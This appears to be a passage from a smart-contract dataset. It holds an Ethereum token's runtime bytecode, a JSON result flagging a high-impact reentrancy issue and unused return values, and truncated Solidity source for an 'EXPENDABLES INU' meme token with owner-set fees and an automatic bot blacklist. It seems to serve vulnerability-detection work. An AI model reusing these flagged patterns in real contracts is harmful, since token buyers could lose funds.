f1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612c0c565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c612c2c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060190612c8a565b91505061057b565b5050565b600061061a848484611588565b6106db846106266113b7565b6106d6856040518060600160405280602881526020016136c160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c6113b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c199092919063ffffffff16565b6113bf565b600190509392505050565b6106ee6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612c0c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e76113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612c0c565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108996113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612c0c565b60405180910390fd5b6000811161093357600080fd5b61096260646109548368056bc75e2d63100000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac6113b7565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d41565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dad565b9050919050565b610a366113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612c0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b896113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612c0c565b60405180910390fd5b68056bc75e2d63100000600f8190555068056bc75e2d63100000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600d81526020017f416c69656e5072656461746f7200000000000000000000000000000000000000815250905090565b6000610cb2610cab6113b7565b8484611588565b6001905092915050565b610cc46113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612c0c565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f8368056bc75e2d63100000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd76113b7565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e1b565b50565b610e186113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612c0c565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612d1e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d631000006113bf565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff49190612d53565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107f9190612d53565b6040518363ffffffff1660e01b815260040161109c929190612d80565b6020604051808303816000875af11580156110bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110df9190612d53565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611168306109dd565b600080611173610c38565b426040518863ffffffff1660e01b815260040161119596959493929190612dee565b60606040518083038185885af11580156111b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d89190612e64565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550670de0b6b3a7640000600f81905550671bc16d674ec800006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e9929190612eb7565b6020604051808303816000875af1158015611308573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132c9190612ef5565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361142e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142590612f94565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361149d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149490613026565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161157b919061286d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ee906130b8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165d9061314a565b60405180910390fd5b600081116116a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a0906131dc565b60405180910390fd5b6000600a819055506008600b819055506116c1610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172f57506116ff610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117d85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117e157600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561188c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118e25750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118fa5750600e60179054906101000a900460ff165b15611a3857600f54811115611944576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193b90613248565b60405180910390fd5b60105481611951846109dd565b61195b9190613268565b111561199c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119939061330a565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119e757600080fd5b601e426119f49190613268565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611ae35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b395750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b4f576000600a81905550600a600b819055505b6000611b5a306109dd565b9050600e60159054906101000a900460ff16158015611bc75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bdf5750600e60169054906101000a900460ff165b15611c0757611bed81611e1b565b60004790506000811115611c0557611c0447611d41565b5b505b505b611c14838383612094565b505050565b6000838311158290611c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c58919061271e565b60405180910390fd5b5060008385611c70919061332a565b9050809150509392505050565b6000808303611c8f5760009050611cf1565b60008284611c9d919061335e565b9050828482611cac91906133e7565b14611cec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce39061348a565b60405180910390fd5b809150505b92915050565b6000611d3983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120a4565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611da9573d6000803e3d6000fd5b5050565b6000600854821115611df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611deb9061351c565b60405180910390fd5b6000611dfe612107565b9050611e138184611cf790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5357611e5261288d565b5b604051908082528060200260200182016040528015611e815781602001602082028036833780820191505090505b5090503081600081518110611e9957611e98612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f649190612d53565b81600181518110611f7857611f77612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fdf30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113bf565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120439594939291906135fa565b600060405180830381600087803b15801561205d57600080fd5b505af1158015612071573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61209f838383612132565b505050565b600080831182906120eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e2919061271e565b60405180910390fd5b50600083856120fa91906133e7565b9050809150509392505050565b60008060006121146122fd565b9150915061212b8183611cf790919063ffffffff16565b9250505090565b6000806000806000806121448761235f565b9550955095509550955095506121a286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061223785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122838161246f565b61228d848361252c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122ea919061286d565b60405180910390a3505050505050505050565b60008060006008549050600068056bc75e2d63100000905061233368056bc75e2d63100000600854611cf790919063ffffffff16565b8210156123525760085468056bc75e2d6310000093509350505061235b565b81819350935050505b9091565b600080600080600080600080600061237c8a600a54600b54612566565b925092509250600061238c612107565b9050600080600061239f8e8787876125fc565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061240983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c19565b905092915050565b60008082846124209190613268565b905083811015612465576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245c906136a0565b60405180910390fd5b8091505092915050565b6000612479612107565b905060006124908284611c7d90919063ffffffff16565b90506124e481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612541826008546123c790919063ffffffff16565b60088190555061255c8160095461241190919063ffffffff16565b6009819055505050565b6000806000806125926064612584888a611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125bc60646125ae888b611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125e5826125d7858c6123c790919063ffffffff16565b6123c790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126158589611c7d90919063ffffffff16565b9050600061262c8689611c7d90919063ffffffff16565b905060006126438789611c7d90919063ffffffff16565b9050600061266c8261265e85876123c790919063ffffffff16565b6123c790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126bf5780820151818401526020810190506126a4565b838111156126ce576000848401525b50505050565b6000601f19601f8301169050919050565b60006126f082612685565b6126fa8185612690565b935061270a8185602086016126a1565b612713816126d4565b840191505092915050565b6000602082019050818103600083015261273881846126e5565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061277f82612754565b9050919050565b61278f81612774565b811461279a57600080fd5b50565b6000813590506127ac81612786565b92915050565b6000819050919050565b6127c5816127b2565b81146127d057600080fd5b50565b6000813590506127e2816127bc565b92915050565b600080604083850312156127ff576127fe61274a565b5b600061280d8582860161279d565b925050602061281e858286016127d3565b9150509250929050565b60008115159050919050565b61283d81612828565b82525050565b60006020820190506128586000830184612834565b92915050565b612867816127b2565b82525050565b6000602082019050612882600083018461285e565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128c5826126d4565b810181811067ffffffffffffffff821117156128e4576128e361288d565b5b80604052505050565b60006128f7612740565b905061290382826128bc565b919050565b600067ffffffffffffffff8211156129235761292261288d565b5b602082029050602081019050919050565b600080fd5b600061294c61294784612908565b6128ed565b9050808382526020820190506020840283018581111561296f5761296e612934565b5b835b818110156129985780612984888261279d565b845260208401935050602081019050612971565b5050509392505050565b600082601f8301126129b7576129b6612888565b5b81356129c7848260208601612939565b91505092915050565b6000602082840312156129e6576129e561274a565b5b600082013567ffffffffffffffff811115612a0457612a0361274f565b5b612a10848285016129a2565b91505092915050565b600080600060608486031215612a3257612a3161274a565b5b6000612a408682870161279d565b9350506020612a518682870161279d565b9250506040612a62868287016127d3565b9150509250925092565b600060208284031215612a8257612a8161274a565b5b6000612a908482850161279d565b91505092915050565b600060ff82169050919050565b612aaf81612a99565b82525050565b6000602082019050612aca6000830184612aa6565b92915050565b612ad981612828565b8114612ae457600080fd5b50565b600081359050612af681612ad0565b92915050565b600060208284031215612b1257612b1161274a565b5b6000612b2084828501612ae7565b91505092915050565b600060208284031215612b3f57612b3e61274a565b5b6000612b4d848285016127d3565b91505092915050565b612b5f81612774565b82525050565b6000602082019050612b7a6000830184612b56565b92915050565b60008060408385031215612b9757612b9661274a565b5b6000612ba58582860161279d565b9250506020612bb68582860161279d565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bf6602083612690565b9150612c0182612bc0565b602082019050919050565b60006020820190508181036000830152612c2581612be9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c95826127b2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cc757612cc6612c5b565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d08601783612690565b9150612d1382612cd2565b602082019050919050565b60006020820190508181036000830152612d3781612cfb565b9050919050565b600081519050612d4d81612786565b92915050565b600060208284031215612d6957612d6861274a565b5b6000612d7784828501612d3e565b91505092915050565b6000604082019050612d956000830185612b56565b612da26020830184612b56565b9392505050565b6000819050919050565b6000819050919050565b6000612dd8612dd3612dce84612da9565b612db3565b6127b2565b9050919050565b612de881612dbd565b82525050565b600060c082019050612e036000830189612b56565b612e10602083018861285e565b612e1d6040830187612ddf565b612e2a6060830186612ddf565b612e376080830185612b56565b612e4460a083018461285e565b979650505050505050565b600081519050612e5e816127bc565b92915050565b600080600060608486031215612e7d57612e7c61274a565b5b6000612e8b86828701612e4f565b9350506020612e9c86828701612e4f565b9250506040612ead86828701612e4f565b9150509250925092565b6000604082019050612ecc6000830185612b56565b612ed9602083018461285e565b9392505050565b600081519050612eef81612ad0565b92915050565b600060208284031215612f0b57612f0a61274a565b5b6000612f1984828501612ee0565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f7e602483612690565b9150612f8982612f22565b604082019050919050565b60006020820190508181036000830152612fad81612f71565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613010602283612690565b915061301b82612fb4565b604082019050919050565b6000602082019050818103600083015261303f81613003565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130a2602583612690565b91506130ad82613046565b604082019050919050565b600060208201905081810360008301526130d181613095565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613134602383612690565b915061313f826130d8565b604082019050919050565b6000602082019050818103600083015261316381613127565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131c6602983612690565b91506131d18261316a565b604082019050919050565b600060208201905081810360008301526131f5816131b9565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000613232601983612690565b915061323d826131fc565b602082019050919050565b6000602082019050818103600083015261326181613225565b9050919050565b6000613273826127b2565b915061327e836127b2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132b3576132b2612c5b565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006132f4601a83612690565b91506132ff826132be565b602082019050919050565b60006020820190508181036000830152613323816132e7565b9050919050565b6000613335826127b2565b9150613340836127b2565b92508282101561335357613352612c5b565b5b828203905092915050565b6000613369826127b2565b9150613374836127b2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133ad576133ac612c5b565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133f2826127b2565b91506133fd836127b2565b92508261340d5761340c6133b8565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613474602183612690565b915061347f82613418565b604082019050919050565b600060208201905081810360008301526134a381613467565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613506602a83612690565b9150613511826134aa565b604082019050919050565b60006020820190508181036000830152613535816134f9565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61357181612774565b82525050565b60006135838383613568565b60208301905092915050565b6000602082019050919050565b60006135a78261353c565b6135b18185613547565b93506135bc83613558565b8060005b838110156135ed5781516135d48882613577565b97506135df8361358f565b9250506001810190506135c0565b5085935050505092915050565b600060a08201905061360f600083018861285e565b61361c6020830187612ddf565b818103604083015261362e818661359c565b905061363d6060830185612b56565b61364a608083018461285e565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061368a601b83612690565b915061369582613654565b602082019050919050565b600060208201905081810360008301526136b98161367d565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122044b68e47c0492fe403660a2de51cbe5b76b50b66f6e4669b0b68c669b86014fe64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,512 |
0xcf8659601006cdbc76261b488f6e3ee4838b9bcb
|
/*
IncrediblesInu
@t.me/EXPENDABLESINU
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract EXPENDABLESINU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e11 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "EXPENDABLES INU";
string private constant _symbol = "EXPENDABLES";
uint private constant _decimals = 9;
uint256 private _teamFee = 5;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
// Uniswap Pair
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(5).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(5).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(5).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
